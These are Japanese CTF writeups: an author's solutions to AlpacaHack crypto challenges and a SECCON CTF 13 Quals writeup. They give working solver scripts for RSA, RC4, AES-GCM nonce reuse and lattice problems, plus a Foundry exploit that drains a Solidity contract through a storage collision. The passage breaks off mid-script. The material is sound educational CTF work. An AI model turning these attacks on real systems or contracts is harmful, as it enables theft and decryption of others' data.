AlpacaHack Round 9 (Crypto) 作問者writeup

AlpacaHack Round 9 (Crypto) の1〜3問目の作問を担当したので、想定解や出題意図を書きたいと思います。

RSAMPC (11 solves)

次のスクリプトとその実行結果が与えられます。

import os
from Crypto.Util.number import getRandomRange, getPrime, bytes_to_long

FLAG = os.environ.get("FLAG", "fakeflag").encode()

def additive_share(a):
    t0, t1 = getRandomRange(-2**512, 2**512), getRandomRange(-2**512, 2**512)
    t2 = a-t0-t1
    return t0, t1, t2

def replicated_share(a):
    t = additive_share(a)
    return [(t[i], t[(i+1)%3]) for i in range(3)]

def multiply_shares(sa, sb):
    def mul(t, u):
        return t[0]*u[0]+t[0]*u[1]+t[1]*u[0]
    r = additive_share(0)
    z = [mul(sa[i], sb[i])+r[i] for i in range(3)]
    w = [(z[i], z[(i+1)%3]) for i in range(3)]
    return w

def reconstruct(s):
    return s[0][0] + s[0][1] + s[1][1]

p = getPrime(512)
q = getPrime(512)

sp = replicated_share(p)
sq = replicated_share(q)
print("your share of p:", sp[0])
print("your share of q:", sq[0])

spq = multiply_shares(sp, sq)
print("your share of pq:", spq[0])

n = reconstruct(spq)
assert n == p*q
print("n:", n)

e = 0x10001
c = pow(bytes_to_long(FLAG + os.urandom(127-len(FLAG))), e, n)
print("e:", e)
print("c:", c)

複製型秘密分散 (replicated secret sharing) を用いた秘密計算で、秘密の値 , の積 を計算しています (参考: https://www.jstage.jst.go.jp/article/isciesci/63/2/63_71/_pdf) 。1人の参加者が持っている , , のシェアおよび、 の計算結果がわかっており、, を復元するのが目標です。

まず、秘密の値 のシェアは次のように計算されます。まず、 となるようにランダムに を選びます。参加者 が持つシェアは です。参加者3人のうち2人が集まると が復元できますが、1人のシェアだけでは を復元できません。

積 のシェアは次のように計算されます。まず、各参加者が を計算します。また、 となるようにランダムに を決め、参加者 は を持ちます。各参加者は を計算し、 を隣の参加者に送信します。参加者 が持つシェアは です。 であることから、参加者3人のうち2人が集まると を復元できます。

乱数 は、 を隣の参加者に送信する際に情報が漏れないようにマスクする役割を持っていますが、この問題の脆弱性は、 が1024bit程度ある一方で が512bitしかない点です。

参加者1が持っているシェア , , から , の関係式を作ってみます。 と , より、 という形の関係式が得られます。ここで , は512bit, は1024bit程度です。

として、 と を連立して解くと となりますが、ここで の値が512bit程度ずれても得られる の値はほとんど変わりません。よって、 を無視して を計算し、その周辺を探索すれば正しい の値が見つかります。

from Crypto.Util.number import *

with open("output.txt") as f:
    sp0, sp1 = eval(f.readline().replace("your share of p: ", ""))
    sq0, sq1 = eval(f.readline().replace("your share of q: ", ""))
    spq0, spq1 = eval(f.readline().replace("your share of pq: ", ""))
    n = int(f.readline().replace("n: ", ""))
    e = int(f.readline().replace("e: ", ""))
    c = int(f.readline().replace("c: ", ""))

# p*q = n
# sp1*sq1+sp1*(q-sq0-sq1)+sq1*(p-sp0-sp1) = spq1+r
c2 = sq1
c1 = -sp1*sq0-sp0*sq1-sp1*sq1-spq1
c0 = sp1*n
if c2<0:
    c0, c1, c2 = -c0, -c1, -c2
def f(x):
    return c2*x**2+c1*x+c0

l = -2**600
r = -c1//(2*c2)
while r-l>1:
    mid = (l+r)//2
    if f(mid)>0:
        l = mid
    else:
        r = mid
r1, r2 = l, -c1//c2-l

for p in list(range(r1-1000, r1+1000)) + list(range(r2-1000, r2+1000)):
    if n%p==0:
        q = n//p
        d = pow(e, -1, (p-1)*(q-1))
        flag = long_to_bytes(pow(c, d, n))
        print(flag)
        break

何かCTFの問題にできそうな暗号はないかなあと思いながら、最近出た本『暗号の理論と技術 量子時代のセキュリティ理解のために』を読んでいて思いついた問題です。秘密計算を題材にしつつ、パラメータのbit数に注意するというCTFのCryptoを解く上での基本も問えて良い感じに作問できたかなと思っていますが、1問目に置いたのは失敗でした...。

addprimes (13 solves)

次のようなSageMathのスクリプトが与えられます。

import os
import signal
from sage.misc.banner import require_version
from Crypto.Util.number import getPrime, bytes_to_long

assert require_version(10), "This challenge requires SageMath version 10 or above"

signal.alarm(30)
FLAG = os.environ.get("FLAG", "Alpaca{*** FAKEFLAG ***}").encode()
assert FLAG.startswith(b"Alpaca{")

p = getPrime(512)
q = getPrime(512)
n = p * q
e = 37

print("n:", n)
print("e:", e)

c = int(input("ciphertext: "))
assert 1 < c < n-1
pari.addprimes(p)
m = mod(c, n).nth_root(e)
print("plaintext:", m)

padded_flag = FLAG + os.urandom(127-len(FLAG))
print("encrypted flag:", pow(bytes_to_long(padded_flag), e, n))

RSA暗号で、一度だけ任意の暗号文を復号することができ、その後フラグの暗号文がもらえます。復号は、PARI/GPの addprimes 関数とSageMathの nth_root 関数を用いて暗号文の における 乗根を計算する実装になっています (参考: keymoonさんのポスト)。

通常、RSA暗号で任意の暗号文の復号ができても秘密鍵の情報は得られないので、実装の脆弱性を探していきます。

この問題の脆弱性は、 が で割り切れないことのチェックがないことです。 が で割り切れる場合、 における 乗根は複数ありえます。

実際、 が で割り切れるとき、 における原始根の1つを とすると、 が の における 乗根のとき、 () も の における 乗根です。 が で割り切れない場合は、 の における逆元が存在することから、 乗根は1つに決まります。

乗根が複数ある場合 nth_root 関数はそのうちの1つを返すので、平文 を適当に決めてその暗号文 を入力したときの復号結果を とすると、 となることがあります。 が で割り切れて が で割り切れない場合を考えると、 における 乗根は1つに決まるので ですが、 における 乗根は複数ありえるので、 となりえます。このとき、 なので秘密鍵 が求まります。

フラグの復号において、 の における逆元が取れないのでいつもの方法は使えませんが、問題で使われている addprimes と nth_root が使えます。nth_root 関数で all=True の引数をつけると全ての 乗根のリストが返ります。

, がランダムな素数のとき、 と のうち一方が で割り切れる確率はおよそ です。 なので、数十回の試行で解けるケースを引くことができます。

import os
from ptrlib import *
from Crypto.Util.number import *
from tqdm import tqdm

progress = tqdm()
while True:
    progress.update()
    sock = remote(os.environ.get("HOST", "localhost"), int(os.environ.get("PORT", 9999)))
    n = int(sock.recvlineafter("n: "))
    e = int(sock.recvlineafter("e: "))
    m1 = 2
    c1 = pow(m1, e, n)
    sock.sendlineafter("ciphertext: ", str(c1))
    m2 = int(sock.recvlineafter("plaintext: "))
    p = gcd(m1-m2, n)
    if p==1 or p==n:
        sock.close()
        continue
    q = n//p

    c = int(sock.recvlineafter("encrypted flag: "))
    pari.addprimes(p)
    ms = mod(c, n).nth_root(e, all=True)
    for m in ms:
        m = long_to_bytes(int(m))
        if b"Alpaca" in m:
            print(m)
            exit()

keymoonさんが紹介していたネタを問題に出来て気に入っています。

Equivalent Privacy Wired (2 solves)

次のスクリプトが与えられます。

import os
import signal
from Crypto.Cipher import ARC4
import string
import random

signal.alarm(300)
FLAG = os.environ.get("FLAG", "Alpaca{*** FAKEFLAG ***}")

chars = string.digits + string.ascii_lowercase + string.ascii_uppercase
master_key = "".join(random.choice(chars) for _ in range(16)).encode()

for _ in range(1000):
    iv = bytes.fromhex(input("iv: "))
    ciphertext = bytes.fromhex(input("ciphertext: "))
    key = master_key + iv
    plaintext = ARC4.new(key, drop=3072).decrypt(ciphertext)
    if plaintext == master_key:
        print(FLAG)
        break
    print("plaintext:", plaintext.hex())

昔、無線LANにおける通信の暗号化に使われていたWEPを題材にした問題です。WEPとの違いは、iv + master_key の部分が master_key + iv になっている点です。また、drop=3072 の引数により、RC4のkeystreamの最初の3072bytesを捨てる実装となっています*1。iv と暗号文を指定して復号結果を得ることが999回出来て、鍵 master_key を求めるのが目標です。

RC4において、鍵から初期状態を計算するアルゴリズム (key-scheduling algorithm) は次のようになっています (参考: Wikipedia)。

for i from 0 to 255
    S[i] := i
endfor
j := 0
for i from 0 to 255
    j := (j + S[i] + key[i mod keylength]) mod 256
    swap values of S[i] and S[j]
endfor

ポイントは key[i mod keylength] の部分です。鍵が256bytesに満たない場合、その鍵を繰り返して使うようになっています。よって、鍵 key から作られる初期状態と、鍵 key + key + ... から作られる初期状態は全く同じです。

これを用いると、master_key を1文字ずつ特定することができます。まず、c を master_key の文字の候補として、iv = "a"*(255-len(master_key)) のときの復号結果と、iv = "a"*(255-len(master_key)) + c のときの復号結果を比較します。すると、c が master_key の1文字目に一致したときに復号結果が全く同じになります。このことから、master_key の1文字目が特定できます。同様に、master_key のk文字目までがわかっているとき、iv = "a"*(255-len(master_key)-k) のときの復号結果と、iv = "a"*(255-len(master_key)-k) + master_key[:k] + c のときの復号結果を比較すると、c が master_key のk+1文字目に一致したときに復号結果が同じになるので、master_key のk+1文字目が特定できます。

import os
from ptrlib import *
from Crypto.Cipher import ARC4
import string

chars = string.digits + string.ascii_lowercase + string.ascii_uppercase

sock = remote(os.environ.get("HOST", "localhost"), int(os.environ.get("PORT", 9999)))

def query(iv, ct = b'\x00'*256):
    sock.sendlineafter(b"iv: ", iv.hex())
    sock.sendlineafter(b"ciphertext: ", ct.hex())
    return bytes.fromhex(sock.recvlineafter("plaintext: ").strip().decode())

len_key = 16
master_key = ""
for k in range(len_key):
    iv = b'\x00'*(256-len_key-k-1)
    t = query(iv)
    for c in chars:
        iv = b'\x00'*(256-len_key-k-1) + (master_key+c).encode()
        s = query(iv)
        if s == t:
            master_key += c
            break
    print(master_key)

iv = b"\x00"
pt = master_key.encode()
ct = ARC4.new(master_key.encode() + iv, drop=3072).encrypt(pt)
sock.sendlineafter(b"iv: ", iv.hex())
sock.sendlineafter(b"ciphertext: ", ct.hex())
print(sock.recvline())

この問題も思ったより解かれませんでした...。WEPに対する既知の攻撃を調べる方向に行ってしまうとハマるかもしれません (数万個の暗号文が必要なうえに、drop=3072 があると効かないと思います)。

*1:keymoonさん？がいつの間にか付けてくれていました。ありがとうございます。

SECCON CTF 13 Quals writeup

SECCON CTF 13 QualsにチームBunkyoWesternsで参加しました。

国内2位で国内決勝に進出することができました！

Cryptoは5問中3問しか解くことができませんでした。残りの2問は4, 5solvesで難しかったですが、片方は解きたかったところです。

一方で、1週間ほど前に勉強し始めたブロックチェーンの問題を解くことができたのはよかったです。

[crypto] reiwa_rot13

次のスクリプトとその実行結果が与えられます。

from Crypto.Util.number import *
import codecs
import string
import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("encyprted_flag = ", cipher.encrypt(flag))

英小文字からなる長さ10の key および key をrot13したものを、それぞれRSAで暗号化した結果が与えられます。key を復元するのが目標です。

数ヶ月前に次のようなほぼ同じ問題を作問してストックしていました。

from Crypto.Util.number import getPrime, bytes_to_long
import string
from flag import flag

def rot13(s):
    res = ""
    for c in s:
        if c in string.ascii_lowercase:
            res += chr(ord('a')+(ord(c)-ord('a')+13)%26)
        elif c in string.ascii_uppercase:
            res += chr(ord('A')+(ord(c)-ord('A')+13)%26)
        else:
            res += c
    return res

flag_part = flag.lstrip("flag{").rstrip("}")
assert len(flag_part) == 10
assert all([c in string.ascii_lowercase + string.ascii_uppercase for c in flag_part])

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 337
assert (p-1)*(q-1)%e != 0
enc = pow(bytes_to_long(flag.encode()), e, n)
enc_rot13 = pow(bytes_to_long(rot13(flag).encode()), e, n)

print(f'n = {n}')
print(f'e = {e}')
print(f'enc = {enc}')
print(f'enc_rot13 = {enc_rot13}')

ソルバーも実装済みだったので、それを少し改造することでfirst bloodを獲得できました。

from Crypto.Util.number import *
import string
import hashlib
from Crypto.Cipher import AES

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag =  b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"

PR.<x> = PolynomialRing(Zmod(n))

def gcd(a, b):
    while b!=0:
        a, b = b, a%b
    return a

for i in range(2**10):
    d = 0
    for j in range(10):
        if (i>>j)&1 == 0:
            d += 13 * 256**j
        else:
            d -= 13 * 256**j
    f = x^e-c1
    g = (x+d)^e-c2
    h = gcd(f, g).monic()
    res = long_to_bytes(int(-h[0]))
    ok = True
    for c in res:
        if not (0x20<=c and c<0x80):
            ok = False
    if ok:
        print(res) # b"dnjqygbmor"
        key = hashlib.sha256(res).digest()
        cipher = AES.new(key, AES.MODE_ECB)
        print(cipher.decrypt(encyprted_flag))

SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}

[crypto] dual_summon

次のスクリプトが与えられます。

from Crypto.Cipher import AES
import secrets
import os
import signal

signal.alarm(300)

flag = os.getenv('flag', "SECCON{sample}")

keys = [secrets.token_bytes(16) for _ in range(2)]
nonce = secrets.token_bytes(16)

def summon(number, plaintext):
    assert len(plaintext) == 16
    aes = AES.new(key=keys[number-1], mode=AES.MODE_GCM, nonce=nonce)
    ct, tag = aes.encrypt_and_digest(plaintext)
    return ct, tag

# When you can exec dual_summon, you will win
def dual_summon(plaintext):
    assert len(plaintext) == 16
    aes1 = AES.new(key=keys[0], mode=AES.MODE_GCM, nonce=nonce)
    aes2 = AES.new(key=keys[1], mode=AES.MODE_GCM, nonce=nonce)
    ct1, tag1 = aes1.encrypt_and_digest(plaintext)
    ct2, tag2 = aes2.encrypt_and_digest(plaintext)
    # When using dual_summon you have to match tags
    assert tag1 == tag2

print("Welcome to summoning circle. Can you dual summon?")
for _ in range(10):
    mode = int(input("[1] summon, [2] dual summon >"))
    if mode == 1:
        number = int(input("summon number (1 or 2) >"))
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        ct, tag = summon(number, name)
        print(f"monster name = [---filtered---]")
        print(f"tag(hex) = {tag.hex()}")

    if mode == 2:
        name   = bytes.fromhex(input("name of sacrifice (hex) >"))
        dual_summon(name)
        print("Wow! you could exec dual_summon! you are master of summoner!")
        print(flag)

最初に2つの鍵とnonceが生成されます。その後、2つのうち選んだ方の鍵を用いて好きな平文をAESのGCMモードで暗号化した結果のtagを得ることが何度でもできます。目標は、2つの鍵でそれぞれ暗号化した結果のtagが一致するような平文を求めることです。

個目の鍵 () で16byteの平文 を暗号化した結果のtagは と表せます。ここで、和や積は、多項式 で定まる の拡大体 上で計算します。また、 は平文の長さ、 は鍵とnonceのみから決まる値です (参考：本当は怖いAES-GCMの話)。, とおくと、tagは と表せます。

nonceが固定である点が脆弱性です。2つの異なる平文 を適当に選んでサーバーに入力し、得られたtagを とすると、 より が求まります。よって、 も求まります。

2つの鍵に対するtagが一致するような平文は、 を について解いて、 と求まります。これをサーバーに入力することでフラグが得られます。

from Crypto.Cipher import AES
from ptrlib import *
from Crypto.Util.number import *

F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1)
P.<x> = PolynomialRing(F)

def to_poly(b):
    v = int.from_bytes(b, 'big')
    v = int(f"{v:0128b}"[::-1], 2)
    return F.fetch_int(v)

def to_bytes(p):
    v = p.integer_representation()
    v = int(f"{v:0128b}"[::-1], 2)
    return v.to_bytes(16, 'big')

sock = Socket("nc dual-summon.seccon.games 2222")

def query(number, plaintext):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(">", str(number))
    sock.sendlineafter(">", plaintext.hex())
    return bytes.fromhex(sock.recvlineafter("tag(hex) = ").strip().decode())

p0 = F(0)
t0 = to_poly(query(1, to_bytes(p0)))
p1 = F(1)
t1 = to_poly(query(1, to_bytes(p1)))
h12 = (t0+t1)*(p0+p1)^(-1)
s1 = t0-h12*p0

p0 = F(0)
t0 = to_poly(query(2, to_bytes(p0)))
p1 = F(1)
t1 = to_poly(query(2, to_bytes(p1)))
h22 = (t0+t1)*(p0+p1)^(-1)
s2 = t0-h22*p0

p = (s2-s1)*(h12-h22)^(-1)
p = to_bytes(p)
sock.sendlineafter(">", "2")
sock.sendlineafter(">", p.hex())
sock.interactive()

SECCON{Congratulation!_you are_master_of_summonor!_you_can_summon_2_monsters_in_one_turn}

[crypto] Tidal wave

次のスクリプトとその実行結果が与えられます。

import random
from Crypto.Util.number import getPrime
import secrets
from flag import flag

def get_Rrandom(R):
    return secrets.randbelow(int(R.order()))

def make_G(R, alphas):
    mat = []
    for i in range(k):
        row = []
        for j in range(n):
            row.append(alphas[j]^i)
        mat.append(row)
    mat = matrix(R, mat)
    return mat

def split_p(R, p, prime_bit_length, length):
    step = ceil(prime_bit_length/length)
    res = []
    while p > 0:
        res.append(ZZ(p % (2**step)))
        p >>= step
    return vector(R, res)

def make_random_vector(R, length):
    error_range = 2^1000
    res = []
    for _ in range(length):
        res.append(R(secrets.randbelow(int(error_range))))
    return vector(R, res)

def make_random_vector2(R, length):
    error_cnt = 28
    res = vector(R, length)
    error_pos = random.sample(range(length), error_cnt)
    for i in error_pos[:error_cnt//2]:
        res[i] = get_Rrandom(R)*p
    for i in error_pos[error_cnt//2:]:
        res[i] = get_Rrandom(R)*q
    return vector(R, res)

n, k = 36, 8
prime_bit_length = 512
p = getPrime(prime_bit_length)
q = getPrime(prime_bit_length)
N = p*q
R = Zmod(N)
alphas = vector(R, [get_Rrandom(R) for _ in range(n)])
G = make_G(R, alphas)
dets = [G.submatrix(0,i*k-i,8,8).det() for i in range(5)]
double_alphas = list(map(lambda x: x^2, alphas))
alpha_sum_rsa = R(sum(alphas))^65537

keyvec = vector(R, [get_Rrandom(R) for _ in range(k)])
pvec = split_p(R, p, prime_bit_length, k)

p_encoded = pvec*G + make_random_vector(R, n)
key_encoded = keyvec*G + make_random_vector2(R, n)

print(f"{N=}")
print(f"{dets=}")
print(f"{double_alphas=}")
print(f"{alpha_sum_rsa=}")
print(f"{p_encoded=}")
print(f"{key_encoded=}")

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = hashlib.sha256(str(keyvec).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
encrypted_flag = cipher.encrypt(pad(flag, AES.block_size))
print(f"{encrypted_flag=}")

最初に512bitの素数 が生成され、 の値が与えられます。以降の計算は で行われます。

まず、, として、 以上 未満のランダムな整数 が生成されます。そして、行列

の 成分 () を左上とする 部分行列の行列式の値が与えられます。また、 の値、 の値も与えられます。

ここまでの情報から、 の値を求めることを考えます。 の素因数分解がわからないので、 での平方根の計算は不可能ですが、 での逆元の計算は可能です。

の 部分行列の行列式はヴァンデルモンドの行列式とよばれており、 と計算できます。これを展開し、各変数について2次以上の部分を の値を用いて次数下げすると、

という形の関係式が得られます。さらにこの両辺を2乗し、同様に次数下げを行うと、別の関係式

が得られます。これを繰り返して 個の関係式を得ます。各単項式 を別々の変数と見ると、変数は 個あり、関係式は1次式とみなせるので、連立1次方程式を解いて が求まります。

以上により、特に および の値がわかりました。 とおくと、 が偶数のとき 、奇数のとき と表せて、 の値から の値もわかります。ここで の値および、 であることを用いると の値が求まり、 の値が求まります！

次に、 を2進数表記して64bitごとに区切って得られるベクトル を考え、ベクトル が与えられます。ここで は 未満のランダムな値からなるベクトルです。この情報から の値を求めることを考えます。

や の成分が小さいことに着目すると、これは典型的なLLLの問題です。行列

にLLLアルゴリズムを適用すると、

というベクトルが得られます (定数 は結果のベクトルの成分の大きさがそろうように くらいにする)。

ここで、1行目の成分が であることから、 の値だけはうまく求まりませんが、coppersmith法を用いて復元すればよいです (参考：SageMathを使ってCoppersmith's Attackをやってみる)。

最後に、 未満のランダムな値からなる長さ のベクトル が生成され、 が与えられます。ここで は、 個の成分のうち14個がランダムな の倍数、他の14個がランダムな の倍数、残り8個が0です。 を求められればフラグが得られます。

を求めることを考えます。 の36個の成分のうち22個が で0なので、 の成分をランダムに 個選んだとき、すべて で0である確率は くらいです。よって、ランダムに 個の列を選んで を解くことを繰り返せば が求まります。同様に も計算して中国剰余定理で復元すれば が求まり、フラグが得られます。

N=...
dets=...
double_alphas=...
alpha_sum_rsa=...
p_encoded=...
key_encoded=...
encrypted_flag=...

n, k = 36, 8
PR = PolynomialRing(Zmod(N), k, 'z')
z = PR.gens()

f = PR(1)
for i in range(k):
    for j in range(i):
        f *= (z[i]-z[j])

def reduce(f, m):
    g = PR(0)
    for mon in f.monomials():
        c = f.monomial_coefficient(mon)
        mon_new = PR(1)
        c_new = c
        for i in range(k):
            di = mon.degree(z[i])
            while di>=2:
                di -= 2
                c_new *= double_alphas[i+m*(k-1)]
            mon_new *= z[i]^di
        g += c_new*mon_new
    return g

alpha12 = []
mons = []
for j in range(2**k):
    if bin(int(j)).count('1')%2!=0:
        continue
    mon = PR(1)
    for l in range(k):
        if (j>>l)&1:
            mon *= z[l]
    mons.append(mon)

alpha02 = 1
for m in range(len(dets)):
    g = reduce(f, m)
    val = Zmod(N)(dets[m])
    mat = []
    vec = []
    for i in range(2**(k-1)+10):
        vi = []
        for mon in mons:
            c = g.monomial_coefficient(mon)
            vi.append(c)
        mat.append(vi)
        vec.append(val)
        g = reduce(g^2, m)
        val = val^2

    mat = matrix(Zmod(N), mat)
    vec = vector(Zmod(N), vec)
    res = mat.solve_right(vec)

    for i in range(k-1):
        alpha12.append(res[mons.index(z[i]*z[i+1])])
    if m==0:
        alpha02 = res[mons.index(z[0]*z[2])]

alpha12 = [Zmod(N)(v) for v in alpha12]
alpha02 = Zmod(N)(alpha02)

t2 = alpha02*alpha12[0]/alpha12[1]
s = [Zmod(N)(0), Zmod(N)(0)]
vi = Zmod(N)(1)
for i in range(n-1):
    s[i%2]+=vi
    vi = alpha12[i]/vi
s[(n-1)%2]+=vi
t65537 = (s[0]*t2+s[1])^65537/alpha_sum_rsa
t = t65537/(t2^(65537//2))
alphas = [t]
for i in range(n-1):
    alphas.append(alpha12[i]/alphas[-1])
print(alphas)

for i in range(n):
    assert alphas[i]^2 == double_alphas[i]

mat = [[0]*(n+k+1) for _ in range(n+k+1)]
for i in range(k):
    for j in range(n):
        mat[i][j] = int(alphas[j]^i)
    mat[i][n+i] = 2**(1000-64)
for i in range(n):
    mat[k+i][i] = N
for i in range(n):
    mat[n+k][i] = -p_encoded[i]
mat[n+k][n+k] = 2**1500
res = matrix(ZZ,mat).LLL()

for resi in res:
    if resi[-1]!=0:
        ps = [v//2**(1000-64) for v in resi[n:n+k]]

p = 0
for i in range(k):
    assert 0<=ps[i]<2**64
    p += ps[i]*2**(64*i)

R.<x> = PolynomialRing(Zmod(N))
f = x+p
res = f.small_roots(beta=0.48)
p = res[0]+p
p = int(p)
q = int(N)//p

import random
ress = []
keyp = []
while True:
    ids = random.sample(range(n), k)
    mat = [[0]*k for _ in range(k)]
    for i in range(k):
        for j in range(k):
            mat[i][j] = alphas[ids[j]]^i
    vec = []
    for j in range(k):
        vec.append(key_encoded[ids[j]])
    res = matrix(Zmod(p),mat).solve_left(vector(Zmod(p),vec))
    if res in ress:
        keyp = res
        break
    ress.append(res)

ress = []
keyq = []
while True:
    ids = random.sample(range(n), k)
    mat = [[0]*k for _ in range(k)]
    for i in range(k):
        for j in range(k):
            mat[i][j] = alphas[ids[j]]^i
    vec = []
    for j in range(k):
        vec.append(key_encoded[ids[j]])
    res = matrix(Zmod(q),mat).solve_left(vector(Zmod(q),vec))
    if res in ress:
        keyq = res
        break
    ress.append(res)

key = []
for i in range(k):
    v = CRT_list([int(keyp[i]),int(keyq[i])],[int(p),int(q)])
    key.append(v)
key = vector(Zmod(N), key)
print(key)

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = hashlib.sha256(str(key).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(encrypted_flag)
print(flag)

SECCON{There__4re_many_w4ys_t0_use_m4tr1x:)}

を求めるパートがグレブナー基底で解けるのは完全に見落としていました...

[blockchain] Trillion Ether

コントラクトのソースコードは次のようになっています。

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

contract TrillionEther {
    struct Wallet {
        bytes32 name;
        uint256 balance;
        address owner;
    }

    Wallet[] public wallets;

    constructor() payable {
        require(msg.value == 1_000_000_000_000 ether);
    }

    function isSolved() external view returns (bool) {
        return address(this).balance == 0;
    }

    function createWallet(bytes32 name) external payable {
        wallets.push(_newWallet(name, msg.value, msg.sender));
    }

    function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external {
        require(wallets[fromWalletId].owner == msg.sender, "not owner");
        wallets[fromWalletId].balance -= amount;
        wallets[toWalletId].balance += amount;
    }

    function withdraw(uint256 walletId, uint256 amount) external {
        require(wallets[walletId].owner == msg.sender, "not owner");
        wallets[walletId].balance -= amount;
        payable(wallets[walletId].owner).transfer(amount);
    }

    function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) {
        wallet = wallet;
        wallet.name = name;
        wallet.balance = balance;
        wallet.owner = owner;
    }
}

_newWallet 関数内の wallet = wallet; の行を削除すると、

TypeError: This variable is of storage pointer type and can be returned without prior assignment, which would lead to undefined behaviour.

というコンパイルエラーが出ます。このことから、storage領域の読み書きによるバグが疑われます。

walletのデータがstorage領域のどの位置に書き込まれるかを観察してみます。例えば createWallet 関数の name に 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe を指定すると、storage領域の 0 および 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e55d の位置にwalletのデータが書き込まれることがわかります (画像はRemixのデバッガ画面)。また、wallet.name の値は入力した値から1ずれて 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff となります。

Solidityのドキュメントなどを参照すると、walletのデータが書き込まれる位置は keccak256(uint256(0))+3*name mod2²⁵⁶ になるようです。

そこで、以下のように wallet.name が msg.sender に一致するようなwalletを作成し、その2つ前の位置を指定すると、wallets[walletId].owner == msg.sender を満たしつつ wallets[walletId].balance を msg.sender にできるので、10¹² etherを引き出すことができます。指定する walletId は、keccak256(uint256(0))+3*walletId=keccak256(uint256(0))+3*(msg.sender-1)-2 より、msg.sender-5/3 mod2²⁵⁶ です。

----------------
| msg.sender-1 | <- createWallet(msg.sender-2)
----------------
| 0            | <- withdraw
----------------
| msg.sender   |
----------------
| msg.sender   | <- createWallet(msg.sender-1)
----------------
| 0            |
----------------
| msg.sender   |
----------------

exploitの実装やテスト、実行においては、SECCON Beginners CTF 2024の問題vote4bで提供されたREADMEが参考になりました。

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
import { Script } from "forge-std/Script.sol";
import { VmSafe } from "forge-std/Vm.sol";
import { TrillionEther } from "../src/TrillionEther.sol";

contract Exploit is Script {
  TrillionEther public chall;
  VmSafe.Wallet public solver;

  function setUp() public {
    chall = TrillionEther(/* Setup Contract's Address */);
    solver = vm.createWallet(/* Attacker's Private Key */);
  }

  function run() public {
    vm.startBroadcast(solver.privateKey);
    
    address addr = solver.addr;
    chall.createWallet(bytes32(uint256(uint160(addr)-1)));
    chall.createWallet(bytes32(uint256(uint160(addr)-2)));
    chall.createWallet(0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe); // 入れないとなぜかwithdrawに失敗する
    uint256 v = uint256(uint160(addr)) + 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab - 2 ; // addr + 1/3 - 2
    chall.wallets(v);
    chall.withdraw(v, 1_000_000_000_000 ether);
    require(chall.isSolved(), "Not solved");
  }
}

SECCON{unb3l13-bubb13_64362072f002c1ea}

minaminaoさんに言及していただけて嬉しいです。みんなブロックチェーンをやりましょう。

SECCONお疲れ様でした。地味に日本人に問題が解かれたの初めてです。chocoruskさん、ありがとう。

— minaminao (@2llr) November 24, 2024

AlpacaHack Round 5 (Crypto) 作問者writeup

AlpacaHack Round 5 (Crypto)の4問目の作問を担当したので、想定解や出題意図を書きたいと思います。

Broadcasting NTRU (2 solves)

There was a known attack on my cryptosystem. I think it is secure now by some modifications...

次のようなSageMathのスクリプトとその実行結果が与えられます。

import os
from Crypto.Cipher import AES
from hashlib import sha256

FLAG = os.environ.get("FLAG", "fakeflag")

N = 509
q = 2048
p = 3
d = 253

Zx.<x> = ZZ[]

def invertmodprime(f, p):
    T = Zx.change_ring(Integers(p)).quotient(x ^ N - 1)
    return Zx(lift(1 / T(f)))

def invertmodpowerof2(f, q):
    assert q.is_power_of(2)
    h = invertmodprime(f, 2)
    while True:
        r = balancedmod(convolution(h, f), q)
        if r == 1:
            return h
        h = balancedmod(convolution(h, 2 - r), q)

def balancedmod(f, q):
    g = list(((f[i] + q // 2) % q) - q // 2 for i in range(N))
    return Zx(g)

def convolution(f, g):
    return (f * g) % (x ^ N - 1)

def generate_polynomial(d):
    coeffs = [1] * d + [0] * (N - d)
    shuffle(coeffs)
    return Zx(coeffs)

def generate_keys():
    while True:
        try:
            f = generate_polynomial(d)
            g = generate_polynomial(d)
            f_p = invertmodprime(f, p)
            f_q = invertmodpowerof2(f, q)
            break
        except:
            pass
    public_key = balancedmod(p * convolution(f_q, g), q)
    secret_key = f, f_p
    return public_key, secret_key

